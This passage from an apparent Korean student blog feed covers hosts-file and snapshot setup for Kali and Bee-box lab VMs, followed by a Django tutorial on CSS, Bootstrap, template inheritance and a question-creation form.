<h2 id="2-host-pc의-hosts-파일에-각-가상환경의-ip-등록"><strong>2) Host PC의 hosts 파일에 각 가상환경의 IP 등록</strong></h2>
<blockquote>
<p><strong>Host PC에서 cmd를 관리자 권한으로 실행 후 notepad c:\Windows\System32\drivers\etc\hosts 입력</strong></p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/en_geon/post/4b27b024-a5ea-4598-b7bd-ab65f2d169b9/image.png" alt="" title="IP 등록"></p>
<p>각자의 IP를 hosts 파일에 등록한다.</p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/ef0dfeb2-d6fb-49d8-9ec1-a8cfc439934b/image.png" alt=""></p>
<p>hosts에 IP를 등록하면 각 환경에서 등록한 이름으로 접근을 할 수 있다.</p>
<br>

<h2 id="3-bee-box의-hosts-파일에-ip-등록"><strong>3) Bee-box의 hosts 파일에 IP 등록</strong></h2>
<p>Bee-box cmd에서 sudo gedit /etc/hosts를 입력하면 비밀번호를 입력해야 하는데 bug를 입력하면 된다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/da054863-effa-42f0-8305-fba82156927b/image.png" alt=""></p>
<br>

<h2 id="4-kali의-hosts-파일에-ip-등록"><strong>4) Kali의 hosts 파일에 IP 등록</strong></h2>
<p>칼리에는 gedit이 없어 설치해야 한다. </p>
<ul>
<li>sudo apt update</li>
<li>sudo apt install gedit -y</li>
</ul>
<p>위 두 명령어를 입력해 gedit을 설치한다.</p>
<br>

<ul>
<li>sudo gedit /etc/hosts</li>
</ul>
<p>같은 방법으로 hosts에 IP를 등록한다.</p>
<br>

<h1 id="6-초기-설정-snap-shot"><strong>6. 초기 설정 Snap shot</strong></h1>
<p>기본 설정들이 끝났고, 위 2) VMware workstation Pro에서 말했던 스냅샷을 한다.</p>
<p>스냅샷는 가상환경의 문제가 있거나 설정이 바뀌면 지금 초기 설정이 완료된 시점으로 돌아올 수 있게 위치를 저장하는 것이다.</p>
<p>설정이 완료된 가상환경을 종료하거나 suspend로 정지시킨 후 Pro에서 두 가상 머신을 열어준다.</p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/0accbd66-c5cc-41d0-9951-268a28c50b36/image.png" alt="" title="스냅샷"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/c4bd7a37-6904-49bf-9d5c-367a29fbf252/image.png" alt="" title="스냅샷"></p>
<br>

<p><img src="https://velog.velcdn.com/images/en_geon/post/8d90c420-595a-4153-95ad-a2d4dc35322e/image.png" alt="" title="스냅샷"></p>
<p>Kali도 같은 방법으로 스냅샷을 설정한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][Django] - Django 3]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-3</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-3</guid>
            <pubDate>Sat, 23 Mar 2024 16:16:18 GMT</pubDate>
            <description><![CDATA[<h1 id="1-스타일-적용"><strong>1. 스타일 적용</strong></h1>
<p>웹 페이지를 만들 때 세 가지 요소가 있다.</p>
<br>

<table>
<thead>
<tr>
<th align="center">구분</th>
<th align="center">HTML</th>
<th align="center">CSS</th>
<th align="center">JavaScript</th>
</tr>
</thead>
<tbody><tr>
<td align="center">역할</td>
<td align="center">DATA</td>
<td align="center">Style</td>
<td align="center">Action</td>
</tr>
</tbody></table>
<br>

<p>HTML은 데이터를 나타내는 데 구조적으로 표현하기 위한 것이다. 데이터는 태그를 둘러싸여 있는데 기계가 해석하기에는 편한데 사람이 보기에는 어렵다. 그래서 이것을 구조와 형식을 만들어주는 CSS로 스타일을 만드는 것이다.</p>
<p>CSS는 해당하는 문서의 구조, 형식, 색깔, 배치, 모양을 다루는 것이다. 데이터들을 시각화해서 사람이 쉽게 해석할 수 있도록 하는 것이 CSS에서 스타일을 만드는 것이다. 기계는 태그를 통해 해석하는 반면에, 사람은 시각적인 데이터를 가지고 해석한다. 그래서 CSS는 사람을 위한 것이다.</p>
<p>Java Script는 동작을 처리하기 위해 사용한다. 모든 것들을 서버 사이드에서 다 만들어서 전달 해도 되지만 그렇게 하면 너무 많은 것들을 서버에서 만들어야 하므로 일정 수준을 브라우저에 위임시키는 것이다.</p>
<p>여기서는 스타일 적용을 위해 CSS를 살펴본다.</p>
<br>

<h2 id="1-stylecss-적용"><strong>1) style.css 적용</strong></h2>
<blockquote>
<p><strong>C:\python\project\mysite\satic\style.css</strong></p>
</blockquote>
<pre><code class="language-css">textarea{
    width: 100%;
}
input[type=submit] {
    margin-top: 10px;
}</code></pre>
<br>

<p>{ }(중괄호) 앞에 나오는 것을 선택자라고 한다. CSS 형태는 &quot;선택자 {적용할 스타일; 적용할 스타일; ...}&quot;으로 되어 있다.</p>
<p>CSS와 선택자에 대한 내용은 <strong><a href="https://poiemaweb.com/css3-selector">이곳</a></strong>에 자세히 설명되어 있으니 꼭 읽어보는 것을 추천한다.</p>
<p>textarea는 요소(태그) 선택자인데, textarea 태그에 적용할 스타일을 지정하는 것이다.</p>
<p>input은 속성 선택자이다. input 태그 중 type 값이 submit인 태그에 적용할 스타일을 지정하는 것이다.</p>
<br>

<h2 id="2-configsettingspy에-스태틱-디렉터리-등록"><strong>2) config\settings.py에 스태틱 디렉터리 등록</strong></h2>
<blockquote>
<p><strong>스태틱 파일이 위치하는 곳을 설정 파일에 등록</strong></p>
</blockquote>
<pre><code class="language-py">STATIC_URL = &#39;/static/&#39;

STATICFILES_DIRS = [
    BASE_DIR / &#39;static&#39;, 
]</code></pre>
<br>

<h2 id="3-질문-상세-페이지question_detailhtml에-스타일-적용"><strong>3) 질문 상세 페이지(question_detail.html)에 스타일 적용</strong></h2>
<pre><code class="language-html">{% load static %}            &lt;!-- 추가 --&gt;
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{%static &#39;style.css&#39;}&quot;&gt;

&lt;h1&gt;{{ question.subject }}&lt;/h1&gt;

&lt;div&gt;
    {{ question.content }}
&lt;/div&gt;

&lt;!-- 답변 내용 출력 --&gt;
&lt;h5&gt;{{ question.answer_set.count }}개의 답변이 있습니다.&lt;/h5&gt;
&lt;div&gt;
    &lt;ul&gt;
        {% for answer in question.answer_set.all %}
            &lt;li&gt;{{ answer.content }}&lt;/li&gt;
        {% endfor %}
    &lt;/ul&gt;
&lt;/div&gt;

&lt;form action=&quot;{% url &#39;pybo:answer_create&#39; question.id %}&quot; method=&quot;post&quot;&gt;
    {% csrf_token %}
    &lt;textarea name=&quot;content&quot; id=&quot;content&quot; rows=&quot;15&quot;&gt;&lt;/textarea&gt;
    &lt;input type=&quot;submit&quot; value=&quot;답변 등록&quot;/&gt;
&lt;/form&gt;</code></pre>
<p>스태틱 디렉터리에 있는 style.css를 사용하겠다는 것을 정의한 것이다.</p>
<br>

<h2 id="4-브라우저-확인"><strong>4) 브라우저 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/73f3df29-ed3b-4925-8448-a85809ff2746/image.png" alt="" title="브라우저 확인"></p>
<p>답변 내용을 입력하는 창(textarea 태그)의 넓이가 화면의 가로 100%를 차지하고 답변 등록 버튼(submit 버튼)의 위쪽 바깥 여백이 10px 추가된 것을 확인할 수 있다.</p>
<br>

<h1 id="2-부트스트랩"><strong>2. 부트스트랩</strong></h1>
<blockquote>
<p><strong><a href="https://getbootstrap.com/docs/4.5/getting-started/download/">부트스트랩 다운로드</a></strong></p>
</blockquote>
<p>위와 같이 태그를 하나하나 입력할 수도 있지만, 페이지가 커지면 태그 하나하나 스타일을 정하기는 쉽지 않다. 그래서 잘 정리되어 있는 스타일 파일을 가져와 사용하는 것이 효율적이다.</p>
<p>미리 정리되어 있는 속성들을 이용해서 세팅만 하면 원하는 형태의 화면이 쉽게 만들어질 수 있다.</p>
<p>다운받은 압축파일에서 bootstrap.min.css 파일을 static 디렉터리에 복사한다.</p>
<br>

<h2 id="1-질문-목록-템플릿question_listhtml에-부트스트랩-스타일-적용"><strong>1) 질문 목록 템플릿(question_list.html)에 부트스트랩 스타일 적용</strong></h2>
<pre><code class="language-html">{% load static %}
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{% static &#39;bootstrap.min.css&#39; %}&quot; &gt;

&lt;div class=&quot;container my-3&quot;&gt;
    &lt;table class=&quot;table&quot;&gt;
        &lt;thead&gt;
            &lt;tr class=&quot;thead-dark&quot;&gt;
                &lt;th&gt;번호&lt;/th&gt;
                &lt;th&gt;제목&lt;/th&gt;
                &lt;th&gt;작성일시&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            {% if question_list %}
                {% for question in question_list %}
                    &lt;tr&gt;
                        &lt;td&gt;{{ forloop.counter }}&lt;/td&gt;
                        &lt;td&gt;
                            &lt;a href=&quot;{% url &#39;pybo:detail&#39; question.id %}&quot;&gt;
                            {{ question.subject }}
                            &lt;/a&gt;
                        &lt;/td&gt;
                        &lt;td&gt;{{ question.create_date }}&lt;/td&gt;
                    &lt;/tr&gt;
                {% endfor %}
            {% else %}
                &lt;tr&gt;
                    &lt;td colspan=&quot;3&quot;&gt;질문이 없습니다.&lt;/td&gt;
                &lt;/tr&gt;
            {% endif %}
        &lt;/tbody&gt;
    &lt;/table&gt;
&lt;/div&gt;</code></pre>
<br>

<p>class들을 일정한 규칙으로 미리 정의 되어 있는 것을 적용하면 그 클래스에 맞는 스타일이 자동으로 입혀지도록 만들어져 있다.</p>
<p>container는 화면 전체를 감싼다는 의미다. m은 margin(마진)이다. margin은 콘텐츠와 박스 요소 테두리 선 바깥쪽의 간격을 뜻한다. 이때 박스 요소의 바깥쪽 테두리에는 Top, Bottom, left, right가 있는데, m만 사용하면 네 방향, mx는 왼쪽, 오른쪽, my는 위, 아래를 말한다. 그래서 my-3을 사용하면 3px만큼 여백을 준다는 의미가 된다.</p>
<p>table은 도표가 나오는 것이다. 도표에는 항상 타이틀이 나오고 내용이 나오는데 이를 지정하는 부분이 thead가 된다.</p>
<p>tr은 테이블의 row 데이터 가로줄을 나타내고, th는 테이블의 column 데이터 세로줄을 나타내고, td는 테이블의 내용(데이터)을 나타낸다. tr은 table row의 약자, th는 table head의 약자, td는 table data의 약자다.</p>
<p>thead-dark는 헤더의 배경색을 어두운색으로 준다는 의미다.</p>
<p>색깔 같은 경우에는 색깔 코드를 직접 입력하지 않고 부트스트랩에서 지정한 단어를 사용하면 그 단어에 지정된 색깔을 넣어준다. 이 색깔의 정의는 <strong><a href="https://getbootstrap.com/docs/5.3/customize/color/">부트스트랩</a></strong>에서 볼 수 있다.</p>
<p>tbody는 실제 데이터가 들어가는 것이다. </p>
<br>

<h3 id="1-브라우저-확인"><strong>(1) 브라우저 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/39d50275-df1b-4ea4-aeea-90d084fd7b86/image.png" alt="" title="브라우저 확인"></p>
<br>

<h2 id="2-질문-상세-페이지question_detailhtml-부트스트랩-스타일-적용"><strong>2) 질문 상세 페이지(question_detail.html) 부트스트랩 스타일 적용</strong></h2>
<pre><code class="language-html">{% load static %}
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{% static &#39;bootstrap.min.css&#39; %}&quot;&gt;

&lt;div class=&quot;container my-3&quot;&gt;
    &lt;h2 class=&quot;border-bottom py-2&quot;&gt;{{ question.subject }}&lt;/h2&gt;

    &lt;div class=&quot;card my-3&quot;&gt;
        &lt;div class=&quot;card-body&quot;&gt;
            &lt;div class=&quot;card-text&quot; style=&quot;white-space: pre-line;&quot;&gt;
                {{ question.content }}
            &lt;/div&gt;
            &lt;div class=&quot;d-flex justify-content-end&quot;&gt;
                &lt;div class=&quot;badge badge-light p-2&quot;&gt;
                    {{ question.create_date }}
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;h5 class=&quot;border-bottom my-3 py-2&quot;&gt;
        {{ question.answer_set.count }}개의 답변이 있습니다.
    &lt;/h5&gt;
    {% for answer in question.answer_set.all %}
    &lt;div class=&quot;card my-3&quot;&gt;
        &lt;div class=&quot;card-body&quot;&gt;
            &lt;div class=&quot;card-text&quot; style=&quot;white-space: pre-line;&quot;&gt;
                {{ answer.content }}
            &lt;/div&gt;
            &lt;div class=&quot;d-flex justify-content-end&quot;&gt;
                &lt;div class=&quot;badge badge-light p-2&quot;&gt;
                    {{ answer.create_date }}
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    {% endfor %}

    &lt;form action=&quot;{% url &#39;pybo:answer_create&#39; question.id %}&quot; method=&quot;post&quot; class=&quot;my-3&quot;&gt;
        {% csrf_token %}
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;textarea name=&quot;content&quot; id=&quot;content&quot; rows=&quot;15&quot; class=&quot;form-control&quot;&gt;&lt;/textarea&gt;
        &lt;/div&gt;
        &lt;input type=&quot;submit&quot; value=&quot;답변 등록&quot; class=&quot;btn btn-primary&quot;/&gt;
    &lt;/form&gt;
&lt;/div&gt;</code></pre>
<br>

<p>my는 박스 요소의 바깥 위, 아래 여백이고, py는 박스 요소의 안쪽 여백을 의미한다.</p>
<p>card라는 것은 카드 형식의 출력을 나타낼 때 사용한다. card의 설명은 <strong><a href="https://getbootstrap.com/docs/5.3/components/card/">부트스트랩 Components Card</a></strong>에서 볼 수 있다.</p>
<p>pre-line은 연속된 공백 문자를 하나로 합친다는 의미다.</p>
<p>d-flex justify-content-end는 오른쪽 정렬을 의미한다.</p>
<p>badge는 작성된 날짜가 회색 바탕으로 나오는 것을 볼 수 있다.</p>
<p>form-group은 form element(요소)들을 묶어 주는 역할을 한다. form element는 form 태그 안에 있는 사용자 입력을 받을 수 있는 태그들을 말한다.</p>
<br>

<h3 id="1-브라우저-확인-1"><strong>(1) 브라우저 확인</strong></h3>
<p><img src="https://velog.velcdn.com/images/en_geon/post/f86153aa-e8ad-484f-84b8-a5efa5dbbf48/image.png" alt="" title="브라우저 확인"></p>
<br>

<h1 id="3-html5-표준에-맞춰서-변경"><strong>3. HTML5 표준에 맞춰서 변경</strong></h1>
<blockquote>
<p><strong><a href="https://poiemaweb.com/html5-syntax">HTML5</a>에 대한 자세한 설명은 링크로 대체</strong></p>
</blockquote>
<p>HTML5 표준은 개발 생산성을 향상, 시맨틱 태그 등장, 멀티미디어 강화 등을 테마로 해서 등장한 표준이다.</p>
<p>HTML5의 input Types의 예제와 실습 <strong><a href="https://www.w3schools.com/html/html_form_input_types.asp">링크</a></strong>를 첨부한다. 링크에서 나오는 예제들이 개발 편의성을 향상했다.</p>
<br>

<h2 id="1-templatesbasehtml-생성"><strong>1) templates\base.html 생성</strong></h2>
<blockquote>
<p><strong>모든 화면에 공통으로 적용되는 내용 (문서의 틀), 템플릿 파일을 구조화</strong></p>
</blockquote>
<pre><code class="language-html">{% load static %}
&lt;!doctype html&gt;
&lt;html lang=&quot;ko&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;utf-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1, shring-to-fit=no&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{% static &#39;bootstrap.min.css&#39; %}&quot;&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;{% static &#39;style.css&#39; %}&quot;&gt;
    &lt;title&gt;Hello, pybo!&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    {% block content %}
    {% endblock %}
&lt;/body&gt;
&lt;/html&gt;</code></pre>
<br>

<h2 id="2-question_listhtml-질문-목록-템플릿-수정"><strong>2) question_list.html 질문 목록 템플릿 수정</strong></h2>
<pre><code class="language-html">{% extends &#39;base.html&#39; %}    &lt;!-- 추가 --&gt;

{% block content %}        &lt;!-- 추가 --&gt;
&lt;div class=&quot;container my-3&quot;&gt;
    &lt;table class=&quot;table&quot;&gt;
        &lt;thead&gt;
            &lt;tr class=&quot;thead-dark&quot;&gt;
                &lt;th&gt;번호&lt;/th&gt;
                &lt;th&gt;제목&lt;/th&gt;
                &lt;th&gt;작성일시&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            {% if question_list %}
                {% for question in question_list %}
                    &lt;tr&gt;
                        &lt;td&gt;{{ forloop.counter }}&lt;/td&gt;
                        &lt;td&gt;
                            &lt;a href=&quot;{% url &#39;pybo:detail&#39; question.id %}&quot;&gt;
                            {{ question.subject }}
                            &lt;/a&gt;
                        &lt;/td&gt;
                        &lt;td&gt;{{ question.create_date }}&lt;/td&gt;
                    &lt;/tr&gt;
                {% endfor %}
            {% else %}
                &lt;tr&gt;
                    &lt;td colspan=&quot;3&quot;&gt;질문이 없습니다.&lt;/td&gt;
                &lt;/tr&gt;
            {% endif %}
        &lt;/tbody&gt;
    &lt;/table&gt;
&lt;/div&gt;
{% endblock %}            &lt;!-- 추가 --&gt;</code></pre>
<p>extends &#39;base.html&#39;은 base.html을 가져와서 block으로 지정해 놓은 부분을 base.html body에 정의한 block content에 넣어주는 것이다.</p>
<br>

<h2 id="3-question_detailhtml-질문-상세-템플릿-수정"><strong>3) question_detail.html 질문 상세 템플릿 수정</strong></h2>
<pre><code class="language-html">{% extends &#39;base.html&#39; %}

{% block content %}
&lt;div class=&quot;container my-3&quot;&gt;
    &lt;h2 class=&quot;border-bottom py-2&quot;&gt;{{ question.subject }}&lt;/h2&gt;

    &lt;div class=&quot;card my-3&quot;&gt;
        &lt;div class=&quot;card-body&quot;&gt;
            &lt;div class=&quot;card-text&quot; style=&quot;white-space: pre-line;&quot;&gt;
                {{ question.content }}
            &lt;/div&gt;
            &lt;div class=&quot;d-flex justify-content-end&quot;&gt;
                &lt;div class=&quot;badge badge-light p-2&quot;&gt;
                    {{ question.create_date }}
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;h5 class=&quot;border-bottom my-3 py-2&quot;&gt;
        {{ question.answer_set.count }}개의 답변이 있습니다.
    &lt;/h5&gt;
    {% for answer in question.answer_set.all %}
    &lt;div class=&quot;card my-3&quot;&gt;
        &lt;div class=&quot;card-body&quot;&gt;
            &lt;div class=&quot;card-text&quot; style=&quot;white-space: pre-line;&quot;&gt;
                {{ answer.content }}
            &lt;/div&gt;
            &lt;div class=&quot;d-flex justify-content-end&quot;&gt;
                &lt;div class=&quot;badge badge-light p-2&quot;&gt;
                    {{ answer.create_date }}
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;
    {% endfor %}

    &lt;form action=&quot;{% url &#39;pybo:answer_create&#39; question.id %}&quot; method=&quot;post&quot; class=&quot;my-3&quot;&gt;
        {% csrf_token %}
        &lt;div clas=&quot;form-group&quot;&gt;
            &lt;textarea name=&quot;content&quot; id=&quot;content&quot; rows=&quot;15&quot; class=&quot;form-control&quot;&gt;&lt;/textarea&gt;
        &lt;/div&gt;
        &lt;input type=&quot;submit&quot; value=&quot;답변 등록&quot; class=&quot;btn btn-primary&quot;/&gt;
    &lt;/form&gt;
&lt;/div&gt;
{% endblock %}</code></pre>
<p>위 질문 목록 템플릿 코드 수정과 같은 방식으로 추가한다.</p>
<br>

<h1 id="4-질문-등록-기능-추가"><strong>4. 질문 등록 기능 추가</strong></h1>
<h2 id="1-질문-목록-페이지question_listhtml에-질문-동록-버튼-추가"><strong>1) 질문 목록 페이지(question_list.html)에 질문 동록 버튼 추가</strong></h2>
<pre><code class="language-html">{% extends  &#39;base.html&#39; %}

{% block content %}
&lt;div class=&quot;container my-3&quot;&gt;
    &lt;table class=&quot;table&quot;&gt;
        &lt;thead&gt;
            &lt;tr class=&quot;thead-dark&quot;&gt;
                &lt;th&gt;번호&lt;/th&gt;
                &lt;th&gt;제목&lt;/th&gt;
                &lt;th&gt;작성일시&lt;/th&gt;
            &lt;/tr&gt;
        &lt;/thead&gt;
        &lt;tbody&gt;
            {% if question_list %}
                {% for question in question_list %}
                    &lt;tr&gt;
                        &lt;td&gt;{{ forloop.counter }}&lt;/td&gt;
                        &lt;td&gt;
                            &lt;a href=&quot;{% url &#39;pybo:detail&#39; question.id %}&quot;&gt;
                            {{ question.subject }}
                            &lt;/a&gt;
                        &lt;/td&gt;
                        &lt;td&gt;{{ question.create_date }}&lt;/td&gt;
                    &lt;/tr&gt;
                {% endfor %}
            {% else %}
                &lt;tr&gt;
                    &lt;td colspan=&quot;3&quot;&gt;질문이 없습니다.&lt;/td&gt;
                &lt;/tr&gt;
            {% endif %}
        &lt;/tbody&gt;
    &lt;/table&gt;
    &lt;a href=&quot;{% url &#39;pybo:question_create&#39; %}&quot; class=&quot;btn btn-primary&quot;&gt;
        질문 등록하기
    &lt;/a&gt;
&lt;/div&gt;
{% endblock%}</code></pre>
<p>새로운 별칭을 사용했으므로 URL 맵핑해야 한다.</p>
<br>

<h2 id="2-pybourlspy에-url-맵핑"><strong>2) pybo\urls.py에 URL 맵핑</strong></h2>
<pre><code class="language-py">from django.urls import path
from . import views         # 현재 패키지에서 views 모듈을 가져옴

app_name = &#39;pybo&#39;

urlpatterns = [
    path(&#39;&#39;, views.index, name = &#39;index&#39;),
    path(&#39;&lt;int:question_id&gt;/&#39;, views.detail, name = &#39;detail&#39;),
    path(&#39;answer/create/&lt;int:question_id&gt;&#39;, views.answer_create, name=&#39;answer_create&#39;),
    path(&#39;question/create&#39;, views.question_create, name=&#39;question_create&#39;) # 추가
]</code></pre>
<br>

<h2 id="3-pyobviewspy에-question_create-메서드-추가"><strong>3) pyob\views.py에 question_create 메서드 추가</strong></h2>
<pre><code class="language-py">from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm        #추가
from django.utils import timezone

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39;: question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)


def detail(request, question_id): 
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    context = { &#39;question&#39;: question }

    return render(request, &#39;pybo/question_detail.html&#39;, context)


def answer_create(request, question_id):
    question = get_object_or_404(Question, pk=question_id)
    question.answer_set.create(content=request.POST.get(&#39;content&#39;), create_date=timezone.now())

    return redirect(&#39;pybo:detail&#39;, question_id=question.id)


def question_create(request):    # 추가
    form = QuestionForm()
    return render(request, &#39;pybo/question_form.html&#39;, { &#39;form&#39;: form })</code></pre>
<p>새로운 패키지를 추가했고, 아직 정의가 되어 있지 않기 때문에 정의를 해주어야 한다.</p>
<br>

<h2 id="4-pyboformspy-생성"><strong>4) pybo\forms.py 생성</strong></h2>
<blockquote>
<p><strong>QuestionForm 클래스 추가</strong></p>
</blockquote>
<pre><code class="language-py">from django import forms
from pybo.models import Question

class QuestionForm(forms.ModelForm):
    class Meta:
        model = Question
        fields = [&#39;subject&#39;, &#39;content&#39;]</code></pre>
<ul>
<li>ModelForm을 상속받아 모델 폼을 정의</li>
<li>모델 폼은 반드시 Meta라는 내부 클래스를 정의해야 함</li>
<li>모델 폼에서 사용할 모델과 모델의 필드를 지정</li>
</ul>
<p>model은 보여질 폼( QuestionForm) 하고 연결되는 모델이다.</p>
<p>fields는 그 모델이 가지고 있는 변수들을 의미하는데, 그 변수 중 어떤 것을 입력받게 할 것인가를 정의해 주는 것이다.</p>
<br>

<h2 id="5-templatespyboquestion_formhtml-추가"><strong>5) templates\pybo\question_form.html 추가</strong></h2>
<pre><code class="language-html">{% extends &#39;base.html&#39; %}

{% block content %}
&lt;div class=&quot;container&quot;&gt;
    &lt;h5 class=&quot;my-3 border-bottom pb-2&quot;&gt;질문 등록&lt;/h5&gt;
    &lt;form method=&quot;post&quot; class=&quot;post-form my-3&quot;&gt;
        {% csrf_token %}
        {{ form.as_p }}                
        &lt;button type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;저장하기&lt;/button&gt; 
    &lt;/form&gt;
&lt;/div&gt;
{% endblock %}</code></pre>
<ul>
<li>모델 폼과 연결된 입력 항목(Mata 클래스의 field로 지정된 항목)에 값을 입력할 수 있는 코드를 자동 생성</li>
</ul>
<br>

<h2 id="6-브라우저-화인"><strong>6) 브라우저 화인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/b944e25e-779a-45ed-b975-c686992c879e/image.png" alt="" title="브라우저 확인"></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/10556b47-dc58-47a6-b9ef-f155fb5f0871/image.png" alt="" title="브라우저 확인"></p>
<br>

<h1 id="5-pyboviewspy에-question_create-메서드-수정"><strong>5. pybo\views.py에 question_create 메서드 수정</strong></h1>
<blockquote>
<p><strong>요청 방식에 따라 GET 방식인 경우 입력 화면을 반환, POST 방식인 경우 내용을 저장 후 리다이렉트</strong></p>
</blockquote>
<p>주소를 입력하거나, 링크를 눌러서 이동하는 것들은 GET 방식을 사용한다.</p>
<p>question_list.html에 정의한 주소로 가게 되어 있다. 그래서 질문 등록을 누르면 링크를 통해 이동하는 것이므로 GET 방식이 된다.</p>
<p>question_create에 요청은 GET 방식으로 들어오는 것이라고 할 수 있다.</p>
<p>그러나 저장하기를 누르면 question_form.html에 정의한 것처럼 POST 방식으로 전달한다. </p>
<p>question_create 메서드가 GET 방식과 POST 방식 두 개가 공존한다.</p>
<p>그래서 GET 방식으로 들어왔을 때와 POST 방식으로 들어왔을 때를 구분해야 한다.</p>
<br>

<pre><code class="language-py">from django.shortcuts import render, get_object_or_404, redirect
from .models import Question
from .forms import QuestionForm
from django.utils import timezone

def index(request):
    question_list = Question.objects.order_by(&#39;-create_date&#39;)
    context = { &#39;question_list&#39; : question_list }

    return render(request, &#39;pybo/question_list.html&#39;, context)

def detail(request, question_id) :
    # question = Question.objects.get(id=question_id)
    question = get_object_or_404(Question, pk=question_id)
    context = { &#39;question&#39; : question }

    return render(request, &#39;pybo/question_detail.html&#39;, context)

def answer_create(request, question_id) :
    question = get_object_or_404(Question, pk=question_id)
    question.answer_set.create(content=request.POST.get(&#39;content&#39;), create_date=timezone.now())

    return redirect(&#39;pybo:detail&#39;, question_id=question_id)

def question_create(request):    # 수정
    if request.method == &#39;GET&#39;:
        form = QuestionForm()
        return render(request, &#39;pybo/question_form.html&#39;, { &#39;form&#39;: form})
    elif request.method == &#39;POST&#39; :
        # POST 방식으로 전달된 요청인 경우, 요청 본문을 통해 전달된 입력값을 저장 
        form = QuestionForm(request.POST)
        if form.is_valid():
            question = form.save(commit=False)
            question.create_date = timezone.now()
            question.save()
            return redirect(&#39;pybo:index&#39;)</code></pre>
<ul>
<li>is_valid는 모델에 속성들이 정의되어 있는데 그 조건에 맞는지를 확인한다. 맞으면 save한다.</li>
<li>form.save를 하면 QuestionForm에 있는 필드 값을 세팅해 준다.</li>
</ul>
<p>commit=False는 저장할 때 세 가지 값 subject, content, datetime이 들어가야 하는데 사용자는 두 가지 값만 입력했기 때문에 시간을 추가 해주기 위해 DB에 반영하지 않고 임시저장을 하는 것이다.  </p>
<p>create_date를 추가해 주면서 네 가지 값이 모두 들어가 save를 하면 DB에 저장이 된다.</p>
<br>

<h2 id="1-브라우저-확인-2"><strong>1) 브라우저 확인</strong></h2>
<p><img src="https://velog.velcdn.com/images/en_geon/post/ab4c2976-16e3-4030-9e4a-66aede80ec3e/image.png" alt="" title="브라우저 확인"></p>
<p><img src="https://velog.velcdn.com/images/en_geon/post/8feb784b-d066-41a4-b4ca-7de7566504c3/image.png" alt="" title="브라우저 확인"></p>
<br>

<h1 id="6-질문-입력-화면-스타일-적용"><strong>6. 질문 입력 화면 스타일 적용</strong></h1>
<p>question_form.html에는 {{form.as_p}} 코드를 통해 폼 엘리먼트와 입력 항목을 자동으로 생성해 주기 때문에 스타일을 적용할 수 없다.</p>
<p>스타일을 적용하기 위해서는 모델 폼 파일(forms.py)에 내부 클래스 Meta에서 widgets와 labels 속성을 이용해 스타일을 적용할 수 있다.</p>
<pre><code class="language-py">from django import forms
from pybo.models import Question

class QuestionForm(forms.ModelForm):
    class Meta:
        model = Question
        fields = [&#39;subject&#39;, &#39;content&#39;]
        widgets = {
            # &lt;input type=&quot;text&quot; name=&quot;subject&quot; maxlength=&quot;200&quot; required id=&quot;id_subject&quot; class=&quot;form-control&quot;&gt;
            &#39;subject&#39;: forms.TextInput(attrs={&#39;class&#39;: &#39;form-control&#39;}), 
            # &lt;textarea name=&quot;content&quot; cols=&quot;40&quot; rows=&quot;10&quot; required id=&quot;id_content&quot; class=&quot;form-control&quot;&gt;
            &#39;content&#39;: forms.Textarea(attrs={&#39;class&#39;: &#39;form-control&#39;, &#39;rows&#39;: 10}),
        }
        labels = {
            &#39;subject&#39;: &#39;제목&#39;, 
            &#39;content&#39;: &#39;내용&#39;,
        }</code></pre>
<p>subject와 content는 주석과 같이 설정된다.</p>
<p>저장 후 브라우저 실행하면 바뀐 것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 19기][Django] - Django 2]]></title>
            <link>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-2</link>
            <guid>https://velog.io/@en_geon/SK-shieldus-Rookies-19%EA%B8%B0Django-Django-2</guid>
            <pubDate>Sat, 23 Mar 2024 07:53:38 GMT</pubDate>
            <description><![CDATA[<h1 id="1-dtldjango-template-language"><strong>1. DTL(Django Template Language)</strong></h1>
<blockquote>
<p><strong><a href="https://django-doc-test-kor.readthedocs.io/en/old_master/topics/templates.html#template-inheritance">Django 템플릿 언어</a></strong></p>
</blockquote>
<ul>
<li>변수<ul>
<li>{{ 변수 }}</li>
</ul>
</li>
<li>필터<ul>
